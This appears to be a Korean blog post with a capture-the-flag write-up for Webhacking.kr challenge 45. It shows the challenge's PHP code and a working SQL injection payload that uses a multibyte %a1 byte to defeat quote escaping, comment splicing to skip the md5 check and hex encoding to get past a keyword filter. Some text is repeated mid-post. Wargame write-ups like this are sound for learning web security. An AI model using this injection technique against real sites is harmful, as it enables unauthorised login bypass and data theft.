zj3t

email: euntaejang@gmail.com

Latest Posts

Webhacking.k 45r-sql injection(mb_convert_encoding 취약점)

By 오전 10:51

이전에 풀었던 50번 문제와 취약점도 비슷하고 상당히 유사하기 때문에 간단하게만 적겠습니다.



$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

50번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.

if(eregi("admin",$_GET[id])) exit();
if(
eregi("from",$_GET[id])) exit();
if(
eregi("union",$_GET[id])) exit();
if(
eregi("limit",$_GET[id])) exit();
if(
eregi("union",$_GET[pw])) exit();
if(
eregi("pw",$_GET[pw])) exit();
if(
eregi("=",$_GET[pw])) exit();
if(
eregi(">",$_GET[pw])) exit();
if(
eregi("<",$_GET[pw])) exit();
if(
eregi("from",$_GET[pw])) exit();$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));


if(
$data)
{
echo(
"hi $data[0]<br><br>");

if(
$data[0]=="admin") @solve();
}
번에서 본 취약점이 발생하는 부분이고, %a1~%fe 였나를 ' 전에 쓰면 매직쿼터 모시기가 우회되어 쿼터 사용이 가능하다고 합니다.


$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');

$data=@mysql_fetch_array(mysql_query("select id from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));

50번에서 했듯이 md5 부분은 주석으로 없애버리도록 합시다.


id=%a1'or id=/*
pw=*/admin#

$data=@mysql_fetch_array(mysql_query("select id from members where id='%a1'or id=/*' and pw=md5('*/admin#')"));

그럼 실질적으로는

@mysql_fetch_array(mysql_query("select id from members where id=''or id=admin

여기서 admin은 0x...... 나 char(x,x,x,x,x) 이런 형식으로 써주어야 합니다.

답: ?id=%a1'or id=/*&pw=*/0x61646d696e%23



You Might Also Like

0 개의 댓글